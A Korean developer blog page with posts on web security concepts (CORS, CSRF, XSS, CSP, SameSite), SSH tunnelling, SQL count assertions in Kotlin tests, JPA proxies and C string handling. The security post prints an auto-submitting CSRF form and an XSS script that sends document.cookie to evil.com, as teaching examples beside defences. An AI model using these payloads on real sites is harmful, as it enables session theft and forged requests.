리팩토링하는 블로그

CORS, CSRF, XSS, CSP, SameSite 정리

Debin — Sun, 14 Dec 2025 20:28:19 +0900

CORS (Cross-Origin Resource Sharing)

웹에서는 보안을 위해 기본적으로 한 웹 페이지(출처 A)에서 다른 웹 페이지(출처 B)의 데이터를 직접 불러오는 것을 제한하는데 이를 '동일 출처 정책(Same-Origin Policy)' 이라고 한다.

기본적으로 브라우저는 다른 origin으로의 요청 결과를 JavaScript가 읽지 못하게 막으며, CORS는 서버가 "이 origin은 허용한다"고 명시적으로 풀어주는 방식이다.

Origin이란 scheme + host + port (서브도메인도 다른 origin)

CORS는 Simple Request와 Preflight 2가지가 있다.

Simple Request 조건 (전부 만족 시):

메서드: GET, HEAD, POST
헤더: Accept, Accept-Language, Content-Language, Content-Type 정도만
Content-Type: application/x-www-form-urlencoded, multipart/form-data, text/plain

Preflight 발생 조건:

PUT, DELETE, PATCH 등
Authorization 헤더
Content-Type: application/json

한계

서버 프록시로 우회 가능
브라우저 보안일 뿐 서버 보안 아니다.
브라우저가 응답을 막는 것이므로 curl, Postman에서는 CORS 에러가 발생하지 않는다.

스프링 시큐리티 사용을 가정 하에 흐름 정리

1. 브라우저 → 서버: 요청 (Origin: https://client.com)
2. 서버(CorsFilter): 응답에 Allow 헤더 붙임
3. 서버 → 브라우저: 응답 + CORS 헤더
4. 브라우저: 헤더 확인 → 허용/차단

CSRF (Cross-Site Request Forgery)

악성 사이트가 사용자 브라우저를 이용해 쿠키가 자동 첨부된 요청을 보내게 만드는 공격이다.

쉽게 말해, 사용자가 로그인된 상태를 악용해서 의도하지 않은 요청을 보내게 만드는 공격이다.

공격 시나리오

사용자가 bank.com에 로그인함 (세션 쿠키가 브라우저에 저장됨)
로그아웃 안 한 채로 악성 사이트 evil.com 방문
evil.com에 이런 코드가 숨겨져 있음 <img src="https://bank.com/transfer?to=hacker&amount=1000000">
브라우저가 이 요청을 보낼 때 bank.com의 쿠키를 자동으로 첨부함
서버는 정상 요청으로 인식 → 송금 실행

핵심 포인트

브라우저는 해당 도메인에 요청할 때 쿠키를 자동으로 보낸다.
서버 입장에서는 정상 사용자의 요청처럼 보인다.
사용자는 자기도 모르게 요청을 보내게 된다.

방어 방법:

CSRF 토큰: 서버가 발급한 토큰을 폼에 포함시켜야 요청 처리
SameSite 쿠키: SameSite=Strict 또는 Lax로 설정
Origin/Referer 검증: 요청이 어디서 왔는지 확인
Custom 헤더 요구: X-Requested-With 같은 헤더 필수화 (preflight 유발)

SameSite

3가지 속성이 존재한다.

Strict

Stric 동일 사이트에서 오는 모든 요청에 쿠키가 포함되고 크로스 사이트간 HTTP 요청에 쿠키가 포함되지 않는다.

Lax

동일 사이트에서 오거나 Top Level Navigation 에서 오는 요청 및 메소드가 읽기 전용인 경우 쿠키가 전송되고 그렇지 않으면 HTTP 요청에 쿠키가 포함되지 않는다.
사용자가 링크(<a>)를 클릭하거나 window.location.replace , 302 리다이렉트 등의 이동이 포함된다. 그러나 <iframe>이나 <img>를 문서에 삽입, AJAX 통신 등은 쿠키가 전송되지 않는다.

None

동일 사이트 및 크로스 사이트 요청의 경우에도 쿠키가 전송된다. 이 모드에서는 HTTS 의한 Secure 쿠키로 설정되야 한다

질문 1. CORS 만 있으면 CSRF를 전부 막을 수 있을까?

<!-- 악성 사이트 evil.com -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="1000000">
</form>
<script>document.forms[0].submit();</script>

이 폼 제출은 CORS 검사 없이 그냥 실행된다.

브라우저는 "simple request"로 분류되는 요청(GET, POST with form data 등)을 preflight 없이 보내기 때문이다.

그러나 CORS도 도움이 되는 부분이 존재한다.

JSON API처럼 Content-Type: application/json을 요구하면 preflight가 발생하고,

서버가 허용하지 않은 origin은 요청 자체가 차단된다.

하지만 이것도 CORS 설정이 제대로 되어 있을 때만 유효하다.

결론: CORS는 CSRF 방어의 보조 수단일 뿐, 주된 방어책이 아니다.

질문 2. CORS 를 적용하고 SameSite가 Lax면 CSRF를 전부 막을 수 있을까?

Lax의 동작 방식은 아래와 같이 정리할 수 있다.

링크 클릭 (GET) -> 쿠키 전송
주소창 직접 입력 -> 쿠키 전송
<form method="POST"> -> 차단
<form method="GET"> (cross-site) -> 차단
fetch() / XMLHttpRequest -> 차단
<img>, <iframe> -> 차단

훌륭해보이지만 결국 GET 요청으로 상태를 변경하는 API가 있다면 위험하다.

결론은 다음과 같다.

Lax가 안전한 이유: POST/PUT/DELETE 같은 상태 변경 요청에서 cross-site 쿠키를 차단
전제 조건: GET 요청이 상태를 변경하지 않아야 한다. (RESTful 설계)
더 안전하게: SameSite=Strict를 쓰면 링크 클릭도 차단하지만, UX가 불편해질 수 있다.

XSS (Cross-Site Scripting)

악성 스크립트를 웹사이트에 삽입해서 다른 사용자 브라우저에서 실행시키는 공격.

시나리오

1. 게시판에 이런 글을 작성

<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

2. 다른 사용자가 이 글을 보면 스크립트가 실행된다.

3. 그 사용자의 쿠키가 evil.com으로 전송되며, 쿠키 탈취가 완료된다.

CSRF와 달리 쿠키 값 자체를 훔칠 수 있는 것이다.

방어 로직

HttpOnly 쿠키 → JavaScript로 쿠키 접근 불가
사용자 입력 이스케이프 처리 (<script> → <script>)
CSP (Content Security Policy) 설정 (브라우저가 지원하는 보안 정책)

참고 1. CSP란?

CSP는 웹 브라우저에서 실행할 수 있는 리소스의 출처를 제한하는 보안 정책이다.

HTTP 헤더를 통해 설정하며, XSS 공격을 효과적으로 차단한다.

동작 원리

1. 브라우저가 페이지를 로드할 때 CSP 헤더를 확인하고, 허용되지 않은 출처의 스크립트/리소스 실행을 차단한다.

Content-Security-Policy: script-src 'self' https://trusted.com

이 설정은 자기 도메인과 trusted.com에서 온 스크립트만 실행을 허용한다.

주요 디렉티브

script-srcJavaScript 실행 출처
style-srcCSS 로드 출처
img-src이미지 로드 출처
connect-srcAJAX/WebSocket 연결 출처
default-src기본 정책 (다른 디렉티브 미설정 시 적용)

XSS 차단 예시

공격자가 인라인 스크립트를 삽입한다.

<script>alert('XSS')</script>

그래도 CSP에서 script-src 'self'로 설정되어 있으면, 인라인 스크립트 실행이 차단된다.

아래는 스프링 설정 예시다.

@Override
protected void configure(HttpSecurity http) throws Exception {
    http.headers()
        .contentSecurityPolicy("script-src 'self'");
}

CSP란 브라우저 정책이므로 서버에서 해당 헤더를 담아서 브라우저에 요청을 하는 개념이라고 생각하면 되겠다.

SSH 터널링 + hosts 파일을 이용한 로컬 개발 도메인 라우팅

Debin — Wed, 10 Dec 2025 21:39:51 +0900

새로운 개발 건이 들어왔는데, 고객사 내부 네트워크 시스템에 접근해야 했다.

편하게 외부 컴포넌트라고 부르겠다.

그러나 본인 로컬에서는 고객사 내부 네트워크에 접근할 수 없었다.

대신 개발 서버는 고객사 내부 네트워크와 통신이 가능하므로 테스트가 가능하다.

그럼 외부 컴포넌트는 개발 서버에 배포하고만 테스트가 가능한걸까..?

오늘은 이에 관한 얘기를 해보고자 한다.

SSH 터널링 + hosts 파일을 이용한 로컬 개발 도메인 라우팅

현재 네트워크 구조를 보면 아래와 같다.

로컬(AWS VPN 접속) -> 개발 서버 (AWS VPC 개발 네트워크) -> 외부 컴포넌트(고객사 내부 네트워크)

또한 외부 컴포넌트는 443 포트만 허용한다.

이제 로컬에서 외부 컴포넌트에 접속할 수 있는 구조를 만드는 과정을 설명해보겠다.

1. Hosts 파일 : 도메인 -> 로컬 주소 (127.0.0.1)로 우회

브라우저, 애플리케이션은 DNS 쿼리보다 hosts 파일을 우선 참고한다.

본인은 mac 이라 /etc/hosts 파일에 아래와 같이 작성했다.

127.0.0.1  internal-component.example.com

이렇게 작성하면 로컬 PC가 internal-component.example.com에 접근할 때 DNS에 쿼리하지 않고 로컬 127.0.0.1로 요청을 보낸다.

2. SSH 로컬 포워딩: 로컬 포트 -> 원격 서버로 터널 생성

SSH 로컬 포워딩은 다음 원리로 동작한다.

로컬 특정 포트 (예시: 9999)에 들어온 트래픽을 SSH를 통해 암호화된 터널로 전송하고
개발 서버를 거쳐
외부 컴포넌트 특정 포트(필자의 경우 443)로 전달한다.

이를 통해 로컬의 127.0.0.1:9999 가 internal-component.example.com:443 동일해진다.

예시 명령어는 아래와 같다.

ssh -L 127.0.0.1:9999:internal-component.example.com:443 user@bastion-host

// 흐름
[로컬 PC]
  ↓ (1) hosts 파일: internal-component.example.com → 127.0.0.1:9999
[127.0.0.1:9999]
  ↓ (2) SSH 터널
[개발 서버]
  ↓ (3) 실제 요청
[고객사 내부 네트워크: internal-component.example.com:443]

필자는 .pem 키를 바인딩해야하고 여러 번 사용할 거 같아 Termius라는 소프트웨어를 사용했다.

https://termius.com/index.html

Termius - Modern SSH Client

Termius is a modern SSH client for Mac, Windows, Linux, iOS and Android. Connect with one click from any device.

termius.com

그럼 필자의 요청을 단순화하면 아래와 같다.

curl https://internal-component.example.com:9999

마지막으로 핵심 개념을 정리했다.

AWS VPN: AWS VPC 내 개발 서버 접근
SSH 터널링: 개발 서버를 경유지로 활용
hosts 파일: SSL 인증서 검증 통과

주의할 부분

만약 1번을 진행하지 SSH 터널링만 진행하면 아래와 같은 에러들이 나올 것이다.

SSL certificate problem: unable to get local issuer certificate
SSL: no alternative certificate subject name matches target host name

브라우저나 애플리케이션은 도메인 이름을 사용하여 SSL 연결을 시도하는데, /etc/hosts 파일을 설정하지 않으면 internal-component.example.com이 로컬 IP(127.0.0.1)로 직접 연결된다.

그러나, 이 IP 주소로 접속하면 SSL 인증서에 해당 도메인 이름이 포함되어 있지 않기 때문에, "호스트 이름 불일치" 오류가 발생한다.

SSL 인증서는 도메인 이름(예: internal-component.example.com)과 IP 주소를 비교하는데, 이때 IP 주소로만 연결되면 인증서의 도메인 이름과 일치하지 않아서 오류가 발생하는 것이다.

이상으로 포스팅을 마칩니다. 감사합니다.

SQL Count & Assertion With 디버깅

Debin — Tue, 25 Nov 2025 23:12:26 +0900

저번 포스팅과 이어지는 부분이 있습니다.

https://devdebin.tistory.com/366

JPA 거짓 연관 관계 맺기(프록시)

동일한 테이블의 2개의 엔티티회사 프로젝트에 아래 예시 코드와 유사한 코드가 존재한다.@Table(name = "prod")@Entityclass Prod( @Id @GeneratedValue(strategy = GenerationType.IDENTITY) val id: Long = 0, @Column(name = "name")

devdebin.tistory.com

SQL Count & Assertion

저번 포스팅에서는 getReferenceById를 사용해 실제 데이터를 조회하지 않고 프록시로 연관관계를 세팅했다.

이 과정에서 데이터 조회하지 않는 내용을 눈으로 확인해봤는데, 이번에는 눈으로 검증하지 않는 자동화를 진행해보려고 한다.

즉 발생한 SQL 구문 횟수를 검증(Assertion)하는 것이다.

사용한 라이브러리

먼저 아래와 같은 의존성을 추가해준다. build.gradle.kts 기준 코드다.

implementation("io.hypersistence:hypersistence-utils-hibernate-63:3.12.0")
implementation("com.github.gavlyukovskiy:datasource-proxy-spring-boot-starter:1.12.1")

hypersistence-utils-hibernate 라이브러리의 SQLStatementCountValidator를 사용해 검증을 진행할 예정이다.

그리고 DataSource-Proxy 라이브러리를 사용해 데이터 소스를 프록시해 실제 파라미터 값과 SQL문 실행 수 같은 정보를 얻을 수 있다. 깃허브에서 DataSource-Proxy를 스프링 부트 스타터로 편하게 제공하는 라이브러리가 있어 이를 채택했다.

hypersistence-utils-hibernate 라이브러리가 내부적으로 DataSource-Proxy 라이브러리를 의존하고 있어,

SQL 실행 수 같은 정보를 편하게 검증 가능하게 해준다.

그럼 본격적으로 코드를 작성해보자.

먼저 DataSource-Proxy 스프링 부트 스타터이니 자동 구성을 먼저 확인해보면 어떤 스프링 빈이 등록되어,

DataSource-Proxy 라이브러리가 데이터 소스를 프록시해 파라미터 값과 SQL 실행 수 같은 각종 정보를 얻을 수 있는지 확인이 가능할 것이다.

바로 DataSourceDecoratorAutoConfiguration 라는 스프링 부트 자동 구성 핵심 클래스를 찾을 수 있었다.

이 클래스에는 아래 코드와 같이 프로퍼티를 읽어오고 있다.

@EnableConfigurationProperties({DataSourceDecoratorProperties.class})

이제 DataSourceDecoratorProperties 클래스를 확인해보자.

우리는 DataSource-Proxy 라이브러리를 사용하고 있으니, DataSourceProxyProperties를 확인하면 된다.

바로 countQuery가 보인다.

그럼 이제 우리의 application.yml에 아래와 같은 내용을 작성하자.

decorator:
  datasource:
    datasource-proxy:
      multiline: true
      format-sql: true
      json-format: true
      count-query: true

이제 데이터 소스를 감싼 프록시에서 수행된 query를 카운팅하는 세팅을 완료했다.

자세히 코드를 살펴보면 QueryCountStrategy의 구현체인 SingQueryCountHolder가 스프링 빈으로 등록된 것이다.

SingQueryCountHolder는 ProxyDataSourceBuilderConfigurer에서 Data Source 프록시를 생성할 때 DataSourceQueryCountListener에 멤버 변수로 바인딩 된다.

이제 흐름은 파악했다!

이제 아래와 같이 테스트 코드를 작성하자.

package com.dblab

import com.dblab.jpa.proxy.Prod
import com.dblab.jpa.proxy.ProdForExternalSystem
import com.dblab.jpa.proxy.ProdForExternalSystemRepository
import com.dblab.jpa.proxy.ProdRepository
import com.dblab.jpa.proxy.Vendor
import com.dblab.jpa.proxy.VendorRepository
import io.hypersistence.utils.jdbc.validator.SQLStatementCountValidator
import net.ttddyy.dsproxy.QueryCountHolder
import net.ttddyy.dsproxy.listener.QueryCountStrategy
import net.ttddyy.dsproxy.listener.SingleQueryCountHolder
import org.junit.jupiter.api.AfterEach
import org.junit.jupiter.api.BeforeEach
import org.junit.jupiter.api.Test
import org.junit.jupiter.api.TestInstance
import org.springframework.beans.factory.annotation.Autowired
import org.springframework.boot.test.context.SpringBootTest
import org.springframework.test.annotation.DirtiesContext

@SpringBootTest
class DbLabApplicationTests {

    @Autowired
    lateinit var prodRepository: ProdRepository

    @Autowired
    lateinit var prodForExternalSystemRepository: ProdForExternalSystemRepository

    @Autowired
    lateinit var vendorRepository: VendorRepository

    @BeforeEach
    fun setUp() {
        SQLStatementCountValidator.reset()
    }

    @Test
    fun `연관관계를 조회한 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = Prod(name = "상품", vendor = vendorRepository.findById(vendor.id).orElseThrow())
        prodRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(3)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(1)
    }

    @Test
    fun `연관관계 없이 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = ProdForExternalSystem(name = "상품", vendorId = vendor.id)
        prodForExternalSystemRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(2)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(0)
    }

    @Test
    fun `프록시를 사용한 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = Prod(name = "상품", vendor = vendorRepository.getReferenceById(vendor.id))
        prodRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(2)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(0)
    }

    private fun createVendor() = Vendor(
        name = "test_vendor",
        code = "code"
    )
}

잘 짠 것 같지만 예외가 뻥뻥터졌다.

테스트 3개를 전체 수행시켰더니 마지막 테스트에서 다음과 같은 에러가 발생했다.

reset() 메서드가 필자가 생각한대로 테스트마다 SQL 카운트를 초기화시켜주고 있는 것이 아니었다.

그래서 바로 SQLStatementCountValidator를 살펴보았다.
내부에 있는 QueryCountHolder가 바로 DataSource-Proxy 라이브러리에 있는 클래스다.

public class SQLStatementCountValidator {
    private SQLStatementCountValidator() {
    }

    public static void reset() {
        QueryCountHolder.clear();
    }

    public static void assertSelectCount(int expectedCount) {
        StatementType.SELECT.validate((long)expectedCount);
    }

    public static void assertInsertCount(int expectedCount) {
        StatementType.INSERT.validate((long)expectedCount);
    }

    public static void assertUpdateCount(int expectedCount) {
        StatementType.UPDATE.validate((long)expectedCount);
    }

    public static void assertDeleteCount(int expectedCount) {
        StatementType.DELETE.validate((long)expectedCount);
    }

    public static void assertTotalCount(int expectedCount) {
        StatementType.TOTAL.validate((long)expectedCount);
    }
}

다음은 QueryCountHolder의 코드다.

public class QueryCountHolder {

    private static ThreadLocal<ConcurrentMap<String, QueryCount>> queryCountMapHolder = new ThreadLocal<ConcurrentMap<String, QueryCount>>() {
        @Override
        protected ConcurrentMap<String, QueryCount> initialValue() {
            return new ConcurrentHashMap<String, QueryCount>();
        }
    };

    public static QueryCount get(String dataSourceName) {
        final Map<String, QueryCount> map = queryCountMapHolder.get();
        return map.get(dataSourceName);
    }

    public static QueryCount getGrandTotal() {
        final QueryCount totalCount = new QueryCount();
        final Map<String, QueryCount> map = queryCountMapHolder.get();
        for (QueryCount queryCount : map.values()) {
            totalCount.setSelect(totalCount.getSelect() + queryCount.getSelect());
            totalCount.setInsert(totalCount.getInsert() + queryCount.getInsert());
            totalCount.setUpdate(totalCount.getUpdate() + queryCount.getUpdate());
            totalCount.setDelete(totalCount.getDelete() + queryCount.getDelete());
            totalCount.setOther(totalCount.getOther() + queryCount.getOther());
            totalCount.setTotal(totalCount.getTotal() + queryCount.getTotal());
            totalCount.setSuccess(totalCount.getSuccess() + queryCount.getSuccess());
            totalCount.setFailure(totalCount.getFailure() + queryCount.getFailure());
            totalCount.setTime(totalCount.getTime() + queryCount.getTime());
        }
        return totalCount;
    }

    public static void put(String dataSourceName, QueryCount count) {
        queryCountMapHolder.get().put(dataSourceName, count);
    }

    public static List<String> getDataSourceNamesAsList() {
        return new ArrayList<String>(getDataSourceNames());
    }

    public static Set<String> getDataSourceNames() {
        return queryCountMapHolder.get().keySet();
    }

    public static void clear() {
        queryCountMapHolder.get().clear();
    }
}

QueryCountHolder 클래스의 clear() 메서드는 단순히 스레드 로컬을 초기화하는 것이다.

여기서 잘못됨을 느꼈다.

SQL 카운트를 세기 위해 싱글톤으로 등록된 SingQueryCountHolder 코드는 없고 스레드 로컬만 초기화하는 것이다.

이런 코드라면 초기화가 될 리 없지..!!!

근데 이상한 점은 SingQueryCountHolder 에 의해서 어떻게 QueryCountHolder의 QueryCount 값이 올라간거지?!!

코드로 보면 바로 답이 나온다.

바로 저기에서 QueryCountHolder에 값을 넣어버리는 것이다.

결론은 QueryCountHolder와 SingQueryCountHolder 가 다른 저장소를 보고 있었고,

count가 증가하는 로직은 SingQueryCountHolder에 의해 QueryCountHolder도 반영되지만,

SingQueryCountHolder의 clear() 메서드에는 QueryCountHolder에 대한 어떤 로직도 없어서 반영이 안됐다.

그래서 코드를 아래와 같이 수정했다.

package com.dblab

import com.dblab.jpa.proxy.Prod
import com.dblab.jpa.proxy.ProdForExternalSystem
import com.dblab.jpa.proxy.ProdForExternalSystemRepository
import com.dblab.jpa.proxy.ProdRepository
import com.dblab.jpa.proxy.Vendor
import com.dblab.jpa.proxy.VendorRepository
import io.hypersistence.utils.jdbc.validator.SQLStatementCountValidator
import net.ttddyy.dsproxy.QueryCountHolder
import net.ttddyy.dsproxy.listener.QueryCountStrategy
import net.ttddyy.dsproxy.listener.SingleQueryCountHolder
import org.junit.jupiter.api.AfterEach
import org.junit.jupiter.api.BeforeEach
import org.junit.jupiter.api.Test
import org.junit.jupiter.api.TestInstance
import org.springframework.beans.factory.annotation.Autowired
import org.springframework.boot.test.context.SpringBootTest
import org.springframework.test.annotation.DirtiesContext

@SpringBootTest
class DbLabApplicationTests {

    @Autowired
    lateinit var prodRepository: ProdRepository

    @Autowired
    lateinit var prodForExternalSystemRepository: ProdForExternalSystemRepository

    @Autowired
    lateinit var vendorRepository: VendorRepository

    @Autowired
    lateinit var queryCountStrategy: QueryCountStrategy


    @BeforeEach
    fun setUp() {
        println("=== Before Test ===")

        // clear 전
        println("Before clear - Grand Total: ${QueryCountHolder.getGrandTotal().insert}")
        println("Before clear - DataSources: ${QueryCountHolder.getDataSourceNames()}")

        if (::queryCountStrategy.isInitialized && queryCountStrategy is SingleQueryCountHolder) {
            (queryCountStrategy as SingleQueryCountHolder).clear()
        }

        // clear 후
        println("After clear - Grand Total: ${QueryCountHolder.getGrandTotal().insert}")
        println("After clear - DataSources: ${QueryCountHolder.getDataSourceNames()}")
    }

    @Test
    fun `연관관계를 조회한 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = Prod(name = "상품", vendor = vendorRepository.findById(vendor.id).orElseThrow())
        prodRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(3)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(1)
    }

    @Test
    fun `연관관계 없이 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = ProdForExternalSystem(name = "상품", vendorId = vendor.id)
        prodForExternalSystemRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(2)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(0)
    }

    @Test
    fun `프록시를 사용한 상품 저장`() {
        val vendor = vendorRepository.save(createVendor())
        val prod = Prod(name = "상품", vendor = vendorRepository.getReferenceById(vendor.id))
        prodRepository.save(prod)
        SQLStatementCountValidator.assertTotalCount(2)
        SQLStatementCountValidator.assertInsertCount(2)
        SQLStatementCountValidator.assertSelectCount(0)
    }

    private fun createVendor() = Vendor(
        name = "test_vendor",
        code = "code"
    )
}

테스트 3개가 모두 성공적으로 통과했다.

테스트 성공

오랜만에 소스 코드를 열심히 들여다 본 것 같다. 역시 라이브러리는 똑바로 알고 쓰는 것이 중요하다.

좋은 경험이었다..!

이상으로 포스팅을 마칩니다. 감사합니다.

JPA 거짓 연관 관계 맺기(프록시)

Debin — Sat, 22 Nov 2025 15:57:07 +0900

동일한 테이블의 2개의 엔티티

회사 프로젝트에 아래 예시 코드와 유사한 코드가 존재한다.

@Table(name = "prod")
@Entity
class Prod(
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    val id: Long = 0,

    @Column(name = "name")
    val name: String,

    @JoinColumn(name = "vendor_id")
    @ManyToOne(fetch = FetchType.LAZY)
    val vendor: Vendor,

    /**
     * 더 연관 관계가 있다고 가정
     */
)

@Table(name = "prod")
@Entity
class ProdForExternalSystem(
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    val id: Long = 0,

    @Column(name = "name")
    val name: String,

    // @ManyToOne, @OneToOne 등 연관 관계를 제거하고 외래 키 값만 보유한다.
    @Column(name = "vendor_id")
    val vendorId: Long,
)

Prod 엔티티는 실제 비즈니스를 해결하기 위해서 적극적으로 사용하는 클래스
ProdForExternalSystem 엔티티는 배치를 통해 외부 시스템과 연동할 때 사용하는 클래스

두 클래스는 모두 공통적으로 같은 테이블인 prod를 보고 있다.

그런데 왜 이렇게 분리가 되어있을까?

코드 히스토리를 추적해보니 Prod에서 @ManyToOne, @OneToOne 등 연관 관계를 조회해서 배치에서 저장하는게 싫어, ProdForExternalSystem을 작성했다고 나온다.

테스트 코드로 예시를 작성해보았다.

실제로 조회 쿼리가 1번 실행된다.

그래서 아래와 같이 id를 직접 저장하는 로직이 탄생했다.

조회 쿼리는 실행되지 않는다.

코드에 대한 생각

실제로 하나의 테이블에서 2개의 엔티티 클래스를 작성하는 일은 실무에서 빈번하다.

제일 많이 들은 사례는 어드민 엔티티와 고객 엔티티를 분리하는 일이다.

위 코드처럼 동일한 테이블인데, 연동 엔티티와 비즈니스 엔티티를 분리하는 건 괜찮은 분리라고 생각한다.

단일 책임 원칙을 잘 지킨 느낌이랄까 ?!

그러나 코드 히스토리에 남은 것처럼 의도가 중요하다고 생각한다.

단순히 조회를 한 번하고 연관관계를 매핑 하는게 싫어서, 분리한 것이라면 다른 멋진 대안이 존재한다.

바로 JpaRepository 인터페이스의 getReferenceById 메서드를 사용하면 된다.

JpaRepository 인터페이스의 구현체인 SimpleJpaRepository의 getReferenceById를 보면 구현이 아래와 같다.

이 메서드는 JPA 프록시 객체를 반환하는 메서드다.

해당 메서드를 사용하면 DB 조회를 하지 않고, 프록시 객체를 반환해 연관관계 매핑을 조회 없이 진행할 수 있다.

실행 쿼리를 살펴보면 조회 쿼리가 안나간걸 볼 수 있다.

getReferenceById를 통한 프록시를 반환을 사용해 조회 쿼리 없이 연관 관계 매핑하는 법을 알아봤다.

회사 코드를 수정할지는 고민 중에 있다.

이렇게 역할에 따른 엔티티 클래스 분리는 괜찮지 않을까..?! 라는 생각이 문득 들었다. (의도와는 다르지만!)

이번 포스팅에서는 실행된 쿼리를 직접 눈으로 보며 검증을 진행했는데, 다음 포스팅에서는 실행된 쿼리를 검증하는 자동화된 테스트에 대해 알아보겠다.

기본으로 돌아가기

Debin — Mon, 17 Nov 2025 23:59:33 +0900

다음은 조엘 온 소프트웨어 2장 관련 내용입니다.

C 언어 관련

C 문자열은 값이 \0, 널 문자(null character) 로 끝난다.

해당 방식에는 명백한 두 가지 문제점이 존재한다.

널 문자를 찾아서 문자열 끝까지 가보기 전에는 끝을 알아내는 방법이 없다.
문자열 내부에는 어떤 \0 값도 포함할 수 없으므로, JPEG 그림과 같은 비정형 이진 자료를 C 문자열 내부에 저장할 수 없다.

본인이 판단하기로는 C의 일반적인 문자열 함수로 다루고 싶다면 널 문자를 사용할 수 없다는 의미인 것 같다.

해당 방식을 ASCIZ 문자열이라고 하는데, ASCII Zero-terminated의 약어다.

정리하면 ASCIZ 문자열은 ASCII 문자들로 이루어지고, 끝에 널 문자 \0이 붙는 문자열을 의미한다.

책에서는 해당 방식이 문자열을 저장하는 최악의 방법 중 하나이며, 실무에서 사용하는 것을 추천하지 않는다.

왜 그런 것일까?

문자열 하나를 다른 문자열에 덧붙이는 함수인 strcat를 구현하면서 그 이유를 살펴보자.

void strcat(char* dest, char* src) 
{
    while (*dest) dest++;      
    while (*dest ++ = *src++);   
}

1. while (*dest) dest++;

dest가 가리키는 곳의 문자가 널 문자('\0')가 아닐 동안 포인터를 한 칸씩 이동한다.
즉, dest 문자열의 끝(널 문자 위치)을 찾는 과정이다.

예시

dest = "Hello"라면 메모리 구조는:

| H | e | l | l | o | \0 |

dest 포인터는 \0 위치까지 전진합니다.

2. while (dest++ = src++);

*src의 문자 값을 *dest 위치에 복사한다.
그리고 dest와 src 모두 후위 증가 연산자 ++로 다음 문자로 이동한다.
복사한 값이 0 ('\0')이 되면 while 조건이 false가 되어 반복 종료한다.

즉, src의 모든 문자를 dest 끝에 붙이는 반복문입니다.

해당 코드에는 문제가 있는데, 여러 사람 이름을 문자열 하나에 이어 붙인다고 가정해보자.

char bigString[1000]; // 얼마나 할당해야 하는지 모름

bigString[0] = '\0';

strcat(bigString, "John, ");
strcat(bigString, "Paul, ");
strcat(bigString, "Geprge, ");
strcat(bigString, "Joel ");

문자열 백만 개를 덧붙인다면, 이런 방식이 올바르게 작용할까? 아니다.

strcat의 첫 부분은 매번 널 문자를 찾아 목적지 문자열을 헤매야하므로, strcat 함수는 매우 느리며, 작업 규모가 커지면 성능이 현저히 떨어진다. 해당 코드는 O(n²) 시간 복잡도를 가진다.

이와 같은 문제점은 먼저 다음과 같이 수정이 가능하다.

char* mystrcat(char* dest, char* src)
{
    while (*dest) dest++;
    while (*dest++ = *src++);
    return --dest;
}

위 함수는 새로 만들어진 더 긴 문자열의 끝을 가리키는 포인터를 반환한다.

이제 이 함수를 호출하는 함수는 문자열을 새로 읽지 않고서도 덧붙이는 장소를 결정할 수 있다.

char bigString[1000]; // 얼마나 할당해야 하는지 모름
char *p = bigString;

bigString[0] = '\0';

p = mystrcat(bigString, "John, ");
p = mystrcat(bigString, "Paul, ");
p = mystrcat(bigString, "Geprge, ");
p = mystrcat(bigString, "Joel ");

이제 n제곱이 아니라 선형 효율 O(n) 을 발휘하므로, 대량으로 문자열을 결합할 경우에 성능이 떨어지지 않는다.

파스칼 설계자들은 이미 이런 문제점을 알고있었으며, 문자열의 첫 바이트에 바이트 개수를 저장하는 방법으로 이를 해결했다.

이런 문자열을 파스칼 문자열이라고 한다.

파스칼 문자열은 널 문자를 포함할 수 있으며, 바이트에 들어가는 가장 큰 숫자가 255이므로, 파스칼 문자열은 255 바이트로 길이를 제한했다.

우리의 예제 코드를 다시 살펴보면 문제가 있는데, 바로 버퍼 오버플로에 취약하다.

해커는 1000바이트를 넘어선 1100 바이트 문자열을 덧붙일 수 있다.
이렇게 스택 프레임을 덮어쓰는 방법으로 반환 주소를 바꿔놓아 함수가 끝나고 돌아가는 시점에 해커가 작성한 코드를 수행하게 만들 수 있다.

따라서 프로그래머는 얼마나 많은 기억공간을 할당해야 할지 계산해야만 한다.

코드는 아래와 같다. 조금 곤란하다.

char* bigString;
int i = 0;
i = strlen("John, ")
+ strlen("Paul, ")
+ strlen("George, ")
+ strlen("Joel ");

bigString = (char*) malloc (i + 1);
// 널 문자를 위한 공간을 고려하세요

지금까지 문자열 크기를 알아내기 위해 모든 문자열을 탐색했다.

또한 덧붙이는 과정에서 문자열을 탐색한다.

최소한 파스칼 문자열을 사용할 경우라면, strlen 연산은 빠르다.

분명 자동으로 기억공간을 다시 할당하는 strcat 버전을 작성할 수 도 있따.

여기서 기억 공간 할당자라는 골치 아픈 문제가 등장한다.

malloc의 본질은 사용 가능한 메모리 블록을 연결 리스트로 길게 연결한 자유 체인(free chain)이다.
malloc은 연결 리스트를 따라가며, 요청 받은 메모리 양보다 큰 블록을 찾는다.
이렇게 찾은 블록을 2개로 쪼개서, 하나는 호출한 사용자에게 반환하며, 쪼개고 난 다음에 남아있는 블록은 다시 연결 리스트에 넣어둔다.
free를 호출할 때, free는 해제한 메모리를 자유 체인에 추가한다.
결국 자유 체인은 자그마한 조각으로 잘게 쪼개지므로, 큰 조각을 요청하면, 원하는 크기를 충족하는 조각이 없을 수도 있다.
